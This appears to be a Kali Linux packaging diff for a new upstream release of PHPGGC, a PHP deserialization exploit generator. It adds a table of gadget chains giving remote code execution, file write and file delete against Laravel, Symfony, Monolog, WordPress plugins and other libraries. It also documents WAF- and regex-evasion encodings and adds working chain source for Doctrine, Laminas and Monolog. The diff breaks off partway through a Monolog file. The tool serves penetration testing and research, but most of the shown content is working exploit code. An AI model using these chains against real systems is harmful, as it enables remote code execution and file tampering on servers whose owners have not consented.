New upstream release.
Kali Janitor
2 years ago
7 | 7 | ## Requirements |
8 | 8 | |
9 | 9 | PHP >= 5.6 is required to run PHPGGC. |
10 | PHP 8 is not yet supported. | |
11 | 10 | |
12 | 11 | |
13 | 12 | ## Usage |
20 | 19 | Gadget Chains |
21 | 20 | ------------- |
22 | 21 | |
23 | NAME VERSION TYPE VECTOR I | |
24 | CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
25 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
26 | Doctrine/FW1 ? File write __toString * | |
27 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
28 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
29 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
30 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
31 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
32 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
33 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
34 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
35 | Laravel/RCE2 5.5.39 RCE (Function call) __destruct | |
36 | Laravel/RCE3 5.5.39 RCE (Function call) __destruct * | |
37 | Laravel/RCE4 5.5.39 RCE (Function call) __destruct | |
38 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
39 | Laravel/RCE6 5.5.* RCE (PHP code) __destruct * | |
40 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
41 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
42 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
43 | Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct | |
44 | Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct | |
45 | Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct | |
46 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
47 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
48 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
49 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
50 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
51 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
52 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
53 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
54 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
55 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
56 | Smarty/FD1 ? File delete __destruct | |
57 | Smarty/SSRF1 ? SSRF __destruct * | |
58 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
59 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
60 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
61 | SwiftMailer/FW3 5.0.1 File write __toString | |
62 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
63 | Symfony/FW1 2.5.2 File write DebugImport * | |
64 | Symfony/FW2 3.4 File write __destruct | |
65 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
66 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
67 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
68 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
69 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
70 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
71 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
72 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
73 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
74 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
75 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
76 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
77 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
78 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
79 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
80 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
81 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
82 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
83 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
84 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
85 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
86 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
87 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
88 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
89 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
90 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
91 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
92 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
93 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
22 | NAME VERSION TYPE VECTOR I | |
23 | CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
24 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
25 | Doctrine/FW1 ? File write __toString * | |
26 | Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * | |
27 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
28 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
29 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
30 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
31 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
32 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
33 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
34 | Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * | |
35 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
36 | Laravel/RCE2 5.5.39 RCE (Function call) __destruct | |
37 | Laravel/RCE3 5.5.39 RCE (Function call) __destruct * | |
38 | Laravel/RCE4 5.5.39 RCE (Function call) __destruct | |
39 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
40 | Laravel/RCE6 5.5.* RCE (PHP code) __destruct * | |
41 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
42 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
43 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
44 | Monolog/RCE1 1.4.1<=1.6.1 & 1.17.2<=2.2.0+ RCE (Function call) __destruct | |
45 | Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct | |
46 | Monolog/RCE3 1.0.2 <= 1.10.0 RCE (Function call) __destruct | |
47 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
48 | Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct | |
49 | Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct | |
50 | Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct * | |
51 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
52 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
53 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
54 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
55 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
56 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
57 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
58 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
59 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
60 | Smarty/FD1 ? File delete __destruct | |
61 | Smarty/SSRF1 ? SSRF __destruct * | |
62 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
63 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
64 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
65 | SwiftMailer/FW3 5.0.1 File write __toString | |
66 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
67 | Symfony/FW1 2.5.2 File write DebugImport * | |
68 | Symfony/FW2 3.4 File write __destruct | |
69 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
70 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
71 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
72 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
73 | Symfony/RCE5 5.2.* RCE (Function call) __destruct | |
74 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
75 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
76 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
77 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
78 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
79 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
80 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
81 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
82 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
83 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
84 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
85 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
86 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
87 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
88 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
89 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
90 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
91 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
92 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
93 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
94 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
95 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
96 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
97 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
98 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
94 | 99 | |
95 | 100 | ``` |
96 | 101 | |
233 | 238 | |
234 | 239 | ### ASCII Strings |
235 | 240 | |
236 | Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation: | |
241 | Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation: | |
237 | 242 | `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";` |
238 | 243 | This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. |
239 | 244 | *Note: this is experimental and it might not work in some cases.* |
240 | 245 | |
246 | ### Armor Strings | |
247 | ||
248 | Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation: | |
249 | `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";` | |
250 | This comes handy when a firewall or PHP code blocks strings. | |
251 | *Note: this is experimental and it might not work in some cases.* | |
252 | *Note: this makes each string in the payload grow by a factor of 3.* | |
253 | ||
241 | 254 | ### Plus Numbers |
242 | 255 | |
243 | 256 | Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols. |
244 | For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +. | |
245 | ||
257 | For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`. | |
258 | ||
259 | ### Testing your chain | |
260 | ||
261 | To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option. | |
262 | ||
263 | For instance, to test if `Monolog/RCE2` works on Symfony `4.x`: | |
264 | ||
265 | ``` | |
266 | $ composer create-project symfony/website-skeleton=4.x some_symfony | |
267 | $ cd some_symfony | |
268 | $ phpggc monolog/rce2 --test-payload | |
269 | Trying to deserialize payload... | |
270 | SUCCESS: Payload triggered ! | |
271 | ``` | |
272 | ||
273 | The exit code will be `0` if the payload triggered, `1` otherwise. | |
274 | ||
275 | ### Testing your chain against every version of a package | |
276 | ||
277 | If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`. | |
278 | ||
279 | ``` | |
280 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
281 | Testing 59 versions for monolog/monolog against 2 gadget chains. | |
282 | ||
283 | ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ | |
284 | ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ | |
285 | ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ | |
286 | │ 2.x-dev │ OK │ OK │ KO │ | |
287 | │ 2.3.0 │ OK │ OK │ KO │ | |
288 | │ 2.2.0 │ OK │ OK │ KO │ | |
289 | │ 2.1.1 │ OK │ OK │ KO │ | |
290 | │ 2.1.0 │ OK │ OK │ KO │ | |
291 | │ 2.0.2 │ OK │ OK │ KO │ | |
292 | │ 2.0.1 │ OK │ OK │ KO │ | |
293 | │ 2.0.0 │ OK │ OK │ KO │ | |
294 | │ 2.0.0-beta2 │ OK │ OK │ KO │ | |
295 | │ 2.0.0-beta1 │ OK │ OK │ KO │ | |
296 | │ 1.x-dev │ OK │ OK │ KO │ | |
297 | │ 1.26.1 │ OK │ OK │ KO │ | |
298 | │ 1.26.0 │ OK │ OK │ KO │ | |
299 | │ 1.25.5 │ OK │ OK │ KO │ | |
300 | │ 1.25.4 │ OK │ OK │ KO │ | |
301 | ... | |
302 | │ 1.0.1 │ OK │ KO │ KO │ | |
303 | │ 1.0.0 │ OK │ KO │ KO │ | |
304 | │ 1.0.0-RC1 │ OK │ KO │ KO │ | |
305 | │ dev-main │ OK │ OK │ KO │ | |
306 | │ * dev-phpstan │ OK │ OK │ KO │ | |
307 | └─────────────────┴─────────┴──────────────┴──────────────┘ | |
308 | ``` | |
246 | 309 | |
247 | 310 | # API |
248 | 311 | |
292 | 355 | |
293 | 356 | - `__destruct()` is always the best vector |
294 | 357 | - Specify at least the version of the library you've built the payload on |
295 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. | |
296 | 358 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. |
359 | - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation. | |
297 | 360 | |
298 | 361 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. |
299 | 362 | You can define pre- and post- processing methods, if parameters need to be modified. |
304 | 367 | For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain. |
305 | 368 | |
306 | 369 | |
307 | ||
308 | ## Docker | |
370 | # Docker | |
309 | 371 | |
310 | 372 | If you don't want to install PHP, you can use `docker build`. |
311 | 373 |
0 | phpggc (0.20210822-0kali1) UNRELEASED; urgency=low | |
1 | ||
2 | * New upstream release. | |
3 | ||
4 | -- Kali Janitor <[email protected]> Tue, 24 Aug 2021 06:18:06 -0000 | |
5 | ||
0 | 6 | phpggc (0.20210218-0kali1) kali-dev; urgency=medium |
1 | 7 | |
2 | 8 | * Configure debian/watch to track git master |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Doctrine; | |
3 | ||
4 | class FW2 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | public static $information = 'Creates a side directory "8a" in the same directory as your file.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $writablePath = dirname($parameters['remote_path']); | |
14 | $fileName = basename($parameters['remote_path']); | |
15 | $phpCode = file_get_contents($parameters['local_path']); | |
16 | ||
17 | return [ | |
18 | new \Doctrine\Common\Cache\Psr6\CacheAdapter( | |
19 | new \Doctrine\Common\Cache\Psr6\CacheItem(0), | |
20 | new \Doctrine\Common\Cache\FilesystemCache( | |
21 | '/'.str_repeat('x', 300), $writablePath | |
22 | ) | |
23 | ), | |
24 | new \Doctrine\Common\Cache\Psr6\CacheAdapter( | |
25 | new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode), | |
26 | new \Doctrine\Common\Cache\FilesystemCache( | |
27 | '/../../' . $fileName, $writablePath | |
28 | ) | |
29 | ) | |
30 | ]; | |
31 | } | |
32 | } |
0 | <?php | |
1 | ||
2 | namespace Doctrine\Common\Cache\Psr6 | |
3 | { | |
4 | class CacheAdapter | |
5 | { | |
6 | private $deferredItems = []; | |
7 | ||
8 | public function __construct($CacheItem, $FilesystemCache) | |
9 | { | |
10 | $this->deferredItems = ['x' => $CacheItem]; | |
11 | $this->cache = $FilesystemCache; | |
12 | } | |
13 | } | |
14 | class CacheItem | |
15 | { | |
16 | private $value; | |
17 | ||
18 | public function __construct($phpCode) | |
19 | { | |
20 | $this->value = $phpCode; | |
21 | } | |
22 | } | |
23 | } | |
24 | ||
25 | namespace Doctrine\Common\Cache | |
26 | { | |
27 | class FileCache | |
28 | { | |
29 | private $extension; | |
30 | protected $directory; | |
31 | private $umask = 0002; | |
32 | ||
33 | public function __construct($extension, $directory) | |
34 | { | |
35 | $this->extension = $extension; | |
36 | $this->directory = $directory; | |
37 | } | |
38 | } | |
39 | ||
40 | class FilesystemCache extends FileCache {} | |
41 | } |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | return new \Archive_Tar($parameters['remote_file']); | |
15 | return new \Archive_Tar($parameters['remote_path']); | |
16 | 16 | } |
17 | 17 | } |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | $remote_file = $parameters["remote_file"]; | |
12 | $remote_path = $parameters["remote_path"]; | |
13 | 13 | |
14 | return new \Laminas\Http\Response\Stream($remote_file); | |
14 | return new \Laminas\Http\Response\Stream($remote_path); | |
15 | 15 | } |
16 | 16 | } |
0 | 0 | <?php |
1 | namespace Laminas\Http\Response { | |
2 | class Stream { | |
3 | function __construct($remote_file) { | |
1 | ||
2 | namespace Laminas\Http\Response | |
3 | { | |
4 | class Stream | |
5 | { | |
6 | function __construct($remote_path) | |
7 | { | |
4 | 8 | $this->cleanup = '1'; |
5 | $this->streamName = $remote_file; | |
9 | $this->streamName = $remote_path; | |
6 | 10 | } |
7 | 11 | } |
8 | 12 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laminas; | |
3 | ||
4 | use Laminas\Cache\Psr\CacheItemPool\CacheItem; | |
5 | use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator; | |
6 | use Laminas\Cache\Storage\Adapter\Filesystem; | |
7 | use Laminas\Cache\Storage\Adapter\FilesystemOptions; | |
8 | ||
9 | ||
10 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
11 | { | |
12 | public static $version = '2.8.0 <= 3.0.x-dev'; | |
13 | public static $vector = '__destruct'; | |
14 | public static $author = 'swapgs'; | |
15 | public static $information = ' | |
16 | This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and | |
17 | laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work. | |
18 | Asking for a remote filename without extension will create a file with a trailing dot | |
19 | (e.g. asking for `foo` will create `foo.`) | |
20 | '; | |
21 | ||
22 | public function process_parameters($parameters) | |
23 | { | |
24 | $parameters = parent::process_parameters($parameters); | |
25 | $infos = pathinfo($parameters['remote_path']); | |
26 | $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : ''; | |
27 | $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : ''; | |
28 | $parameters['dirname'] = dirname($parameters['remote_path']); | |
29 | ||
30 | return $parameters; | |
31 | } | |
32 | ||
33 | public function generate(array $parameters) | |
34 | { | |
35 | return new CacheItemPoolDecorator( | |
36 | new Filesystem( | |
37 | new FilesystemOptions($parameters['dirname'], $parameters['extension']) | |
38 | ), | |
39 | [new CacheItem($parameters['filename'], $parameters['data'])] | |
40 | ); | |
41 | } | |
42 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Laminas\Cache\Storage\Adapter | |
3 | { | |
4 | class AdapterOptions | |
5 | { | |
6 | protected $namespace; | |
7 | protected $keyPattern; | |
8 | ||
9 | function __construct() | |
10 | { | |
11 | $this->namespace = ''; | |
12 | $this->keyPattern = '/.*/'; | |
13 | } | |
14 | } | |
15 | ||
16 | class FilesystemOptions extends AdapterOptions | |
17 | { | |
18 | protected $cacheDir; | |
19 | protected $dirLevel; | |
20 | protected $suffix; | |
21 | ||
22 | function __construct($cacheDir, $extension) | |
23 | { | |
24 | parent::__construct(); | |
25 | $this->cacheDir = $cacheDir; | |
26 | $this->suffix = $extension; | |
27 | $this->dirLevel = 0; | |
28 | } | |
29 | } | |
30 | ||
31 | class Filesystem | |
32 | { | |
33 | protected $options; | |
34 | ||
35 | function __construct($options) | |
36 | { | |
37 | ||
38 | $this->options = $options; | |
39 | } | |
40 | } | |
41 | } | |
42 | ||
43 | namespace Laminas\Cache\Psr\CacheItemPool | |
44 | { | |
45 | class CacheItemPoolDecorator | |
46 | { | |
47 | protected $storage; | |
48 | protected $deferred; | |
49 | ||
50 | function __construct($storage, $deferred) | |
51 | { | |
52 | $this->storage = $storage; | |
53 | $this->deferred = $deferred; | |
54 | } | |
55 | } | |
56 | ||
57 | class CacheItem | |
58 | { | |
59 | protected $key; | |
60 | protected $value; | |
61 | ||
62 | function __construct($key, $value) | |
63 | { | |
64 | $this->key = $key; | |
65 | $this->value = $value; | |
66 | } | |
67 | } | |
68 | } |
3 | 3 | |
4 | 4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '1.18 <= 2.1.1+'; | |
6 | public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'cf'; |
9 | 9 |
27 | 27 | { |
28 | 28 | $this->processors = $methods; |
29 | 29 | $this->buffer = [$command]; |
30 | $this->handler = clone $this; | |
30 | $this->handler = $this; | |
31 | 31 | } |
32 | 32 | } |
33 | }⏎ | |
33 | } |
3 | 3 | |
4 | 4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '1.5 <= 2.1.1+'; | |
6 | public static $version = '1.4.1 <= 2.2.0+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'cf'; |
9 | 9 |
28 | 28 | { |
29 | 29 | $this->processors = $methods; |
30 | 30 | $this->buffer = [$command]; |
31 | $this->handler = clone $this; | |
31 | $this->handler = $this; | |
32 | 32 | } |
33 | 33 | } |
34 | }⏎ | |
34 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.25 <= 2.2.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mayfly'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | return new \Monolog\Handler\FingersCrossedHandler($parameter, | |
15 | new \Monolog\Handler\GroupHandler($function) | |
16 | ); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | // killchain : | |
5 | // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records) | |
6 | ||
7 | class FingersCrossedHandler { | |
8 | protected $passthruLevel; | |
9 | protected $buffer = array(); | |
10 | protected $handler; | |
11 | ||
12 | public function __construct($param, $handler) | |
13 | { | |
14 | $this->passthruLevel = 0; | |
15 | $this->buffer = ['test' => [$param, 'level' => null]]; | |
16 | $this->handler = $handler; | |
17 | } | |
18 | ||
19 | } | |
20 | ||
21 | class GroupHandler { | |
22 | protected $processors = array(); | |
23 | public function __construct($function) | |
24 | { | |
25 | $this->processors = ['current', $function]; | |
26 | } | |
27 | ||
28 | } | |
29 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.10.0 <= 2.2.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mayfly'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | return new \Monolog\Handler\FingersCrossedHandler($parameter, | |
15 | new \Monolog\Handler\BufferHandler($function) | |
16 | ); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | // killchain : | |
5 | // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records) | |
6 | ||
7 | class FingersCrossedHandler { | |
8 | protected $passthruLevel; | |
9 | protected $buffer = array(); | |
10 | protected $handler; | |
11 | ||
12 | public function __construct($param, $handler) | |
13 | { | |
14 | $this->passthruLevel = 0; | |
15 | $this->buffer = ['test' => [$param, 'level' => null]]; | |
16 | $this->handler = $handler; | |
17 | } | |
18 | ||
19 | } | |
20 | ||
21 | class BufferHandler | |
22 | { | |
23 | protected $handler; | |
24 | protected $bufferSize = -1; | |
25 | protected $buffer; | |
26 | # ($record['level'] < $this->level) == false | |
27 | protected $level = null; | |
28 | protected $initialized = true; | |
29 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false | |
30 | protected $bufferLimit = -1; | |
31 | protected $processors; | |
32 | ||
33 | function __construct($function) | |
34 | { | |
35 | $this->processors = ['current', $function]; | |
36 | } | |
37 | } | |
38 | ||
39 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.10.0 <= 2.2.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mir-hossein'; | |
9 | public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Monolog\Handler\FingersCrossedHandler( | |
17 | ['pos', $function], // pos() is an alias of current() function, but it's shorter :-) | |
18 | [$parameter, 'level' => 0] | |
19 | ); | |
20 | } | |
21 | } |
0 | <?php | |
1 | namespace Monolog\Handler | |
2 | { | |
3 | class FingersCrossedHandler | |
4 | { | |
5 | protected $passthruLevel = 0; | |
6 | protected $handler; | |
7 | protected $buffer; | |
